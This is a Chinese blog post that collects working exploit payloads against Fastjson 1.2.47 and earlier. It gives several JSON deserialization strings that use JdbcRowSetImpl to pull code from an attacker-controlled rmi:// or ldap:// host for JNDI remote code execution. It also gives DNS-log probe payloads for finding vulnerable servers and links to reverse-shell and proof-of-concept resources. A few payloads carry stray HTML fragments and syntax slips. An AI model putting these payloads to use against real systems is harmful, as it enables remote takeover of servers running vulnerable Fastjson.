fastjson 请求dnslog
2024-08-30 00:26:51
Fastjson <= 1.2.47 远程命令执行漏洞利用工具及方法记录
payload
rmi://
、ldap://
可以切换尝试。
param={
"@type": "java.lang.Class",
br / > "a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
"@type": "com.sun.rowset.JdbcRowSetImpl",
br / >
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://your ip/",
"autoCommit": true
}
}
param={
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://your ip/",
"autoCommit":true
}
}
param={"orderNo":"B200414195915053000","partnerOrderNo":"DC200414593341","x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://your ip/","autoCommit":true}}
param={"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://your ip/","autoCommit":true}}}
# JNDI 注入
param={"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://your ip/","autoCommit":true}
param={"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://your ip/,"autoCommit":true}
# DNS log
param={"@type":"java.net.InetAddress","val":"example.com"}
可以通过 dns log 的方式得知漏洞是否存在了
利用java.net.Inet[4|6]Address
很早之前有一个方法是使用java.net.InetAddress类,现在这个类已经列入黑名单。然而在翻阅fastjson最新版源码(v1.2.67)时,发现两个类没有在黑名单中,于是可以构造了如下payload,即可使fastjson进行DNS解析。下面以java.net.Inet4Address为例分析构造原理。
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
参考
反弹shell
https://blog.csdn.net/Jiajiajiang_/article/details/103255659
复现pyload
https://blog.51cto.com/13770310/2425330?source=dra
靶场
https://vulhub.org/#/environments/fastjson/1.2.24-rce/
教程
https://github.com/shengqi158/fastjson-remote-code-execute-poc
最新文章
- 基于SSM的分页
- iOS中UINavigationController控制器使用详解
- Extjs ComboBox 动态选中第一项
- poj 1888 Crossword Answers 模拟题
- 【转载】Linux动态库搜索路径的技巧
- c++ stl string char* 向 string 转换的问题
- AR增强现实 Augmented Reality
- ASP.NET- 播放视频代码
- Android开发之设定Dialog的位置
- fsdfasfsa
- Samara SAU ACM ICPC 2013-2014 Quarterfinal Qualification Contest
- CentOS7 安装 Mysql 服务
- TCP常见的定时器三次握手与四次挥手
- 201521123100 《Java程序设计》第11周学习总结
- 在CentOS 7 上安装docker
- 排列组合n选m算法
- Java SSM 框架相关基础面试题
- 拜占庭将军问题(Byzantine Generals Problem),一个关于分布式系统容错问题故事
- 2017青岛赛区网络赛 Smallest Minimum Cut 求最小割的最小割边数
- 解决 vuex mapGetters 语法报错 (Unexpected token )
热门文章
- CF 666E&#160;Forensic Examination 【SAM 倍增 线段树合并】
- POJ - 3693 Maximum repetition substring(重复次数最多的连续重复子串)
- C#线程Thread类
- Python——Django框架——Form框架
- 编译安装MySQL 5.5.33
- Linux系统诊断必备技能之二:日志查询常用命令详解
- 牛客国庆2 F-平衡二叉树【非原创】
- hihoCoder Challenge 1
- webfullstack website
- css skeleton loading &; skeleton components